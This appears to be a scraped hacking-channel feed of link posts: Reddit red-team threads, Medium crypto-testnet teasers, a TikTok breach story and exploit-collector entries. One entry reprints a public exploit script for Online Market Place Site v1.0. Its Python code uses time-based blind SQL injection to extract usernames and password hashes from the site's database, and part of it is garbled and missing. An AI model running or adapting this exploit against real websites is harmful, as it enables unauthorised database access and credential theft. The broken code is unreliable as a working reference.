What is Carpet Bombing DDoS Attacks?
https://www.reddit.com/r/redteamsec/comments/x6g268/what_is_carpet_bombing_ddos_attacks/

submitted by /u/anusec (https://www.reddit.com/user/anusec)
[link] (https://www.netscout.com/use-case/carpet-bombing-attacks) [comments] (https://www.reddit.com/r/redteamsec/comments/x6g268/what_is_carpet_bombing_ddos_attacks/)

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Busy Testnet Desktop Wallet v2 released!

https://cdn-images-1.medium.com/max/1200/1*VC4ycSus1fqX8yv_mt3zHA.png
We have released a beta version of the Busy Desktop Wallet V2. The wallet can be downloaded from our BusyDesktopWallet GitHub repository.

Continue reading on BusyTechnology »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Community Testing V2 of BusyChain launched — bug-hunting!

https://cdn-images-1.medium.com/max/1200/1*STnKMUyUdZKFuUd-DEKCfA.png
Busy is happy to reveal the second and last long-awaited Community Testing event V2. The updated version of BusyChain testnet V3 goes…

Continue reading on BusyTechnology »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
djinn: 1

https://cdn-images-1.medium.com/max/966/1*2rrFsd80DMUdfOmH41xtuQ.png
Herkese merhaba,

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
10 Security Tips For Crypto Users and Investors

https://cdn-images-1.medium.com/max/1280/0*9XJT4ODLWj7MBrqF.png
One of the most important things about having a self-custodial wallet like MetaMask or keeping digital assets on crypto exchanges is that…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
TikTok Suffers Another Data Breach: Change Your Password ASAP

https://external-preview.redd.it/IjbRRTNoTE3NdyyLYa39tOzPM8bhFowlz67ddXUF3Vg.jpg?width=640&crop=smart&auto=webp&s=a49dad8419767a7c5327ebdf3d43f428085ca6d9 submitted by /u/Seytonic
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Community Testing V2 of BusyChain launched — bug-hunting!
https://medium.com/busytechnology/community-testing-v2-of-busychain-launched-bug-hunting-ee3db5cce9de?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Busy is happy to reveal the second and last long-awaited Community Testing event V2. The updated version of BusyChain testnet V3 goes…Continue reading on BusyTechnology » (https://medium.com/busytechnology/community-testing-v2-of-busychain-launched-bug-hunting-ee3db5cce9de?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Is this an accurate visualization of the problem with EDR visibility?
https://www.reddit.com/r/redteamsec/comments/x6i3oe/is_this_an_accurate_visualization_of_the_problem/

submitted by /u/Jonathan-Todd (https://www.reddit.com/user/Jonathan-Todd)
[link] (https://i.redd.it/lzsyxd5602m91.png) [comments] (https://www.reddit.com/r/redteamsec/comments/x6i3oe/is_this_an_accurate_visualization_of_the_problem/)

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Online Market Place Site 1.0 SQL Injection

https://4.bp.blogspot.com/-4tZE0Y76jWM/WWlvMNv2FRI/AAAAAAAAIMQ/Di9LOyWyOssTbh7urhFnaBV0oE1qNf8CgCLcBGAs/s1600/h19.png
Online Market Place Site version 1.0 suffers from an unauthenticated blind SQL injection vulnerability allowing remote attackers to dump the SQL database via time-based SQL injection.

SHA-256 | 055275be279445d5466385d61a0e67c90bd2c9c88469b4e802f1402fe98446be

Download
# Exploit Title: Online Market Place Site v1.0 - Unauthenticated Blind Time-Based SQL Injection
# Exploit Author: Joe Pollock
# Date: September 03, 2022
# Vendor Homepage: https://www.sourcecodester.com/php/15273/online-market-place-site-phpoop-free-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/omps.zip
# Tested on: Kali Linux, Apache, Mysql
# CVE: CVE-2022-30004 (RESERVED)
# Vendor: oretnom23
# Version: v1.0
# Exploit Description:
# Online Market Place Site v1.0 suffers from an unauthenticated blind SQL Injection Vulnerability allowing remote attackers to dump the SQL database via time-based SQL injection.
# This script will retrieve a single username and associciated password hash from the omps_db database via blind, time-based SQL injection.
# By default, the username & hash retrieved will have an ID equal to zero in the database, i.e. the first username and password hash.
# Default behavior can be changed by setting the USERID variable. Sleep timings may also have to be adjusted to account for network latency.
# Ex: python3 omps.py 10.14.14.2
import sys, requests, urllib3
USERID=0

def main():
if len(sys.argv) != 2:
print("(+) usage: %s 2):
extracted_char = chr(c)
sys.stdout.write(extracted_char)
sys.stdout.flush()
sys.stdout.write("\t")

# Get password hash
for p in range (1,65):
injection_string = "AAAA' OR IF(ascii(MID((select password from omps_db.users LIMIT %d,1),%d,1))=[CHAR],sleep(1),0)-- -" % (USERID,p)
for c in range(32, 126):
files = {"username": (None, injection_string.replace("[CHAR]", str(c)))}
#print(injection_string.replace("[CHAR]", str(c)))
r = requests.post(target, files=files)
if (r.elapsed.total_seconds() > 2):
extracted_char = chr(c)
sys.stdout.write(extracted_char)
sys.stdout.flush()
print("\n(+) done!")

if __name__ == "__main__":
main()

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Cisco ASA-X With FirePOWER Services Authenticated Command Injection

___________________________
@hacking_Attack
@Hacking_Video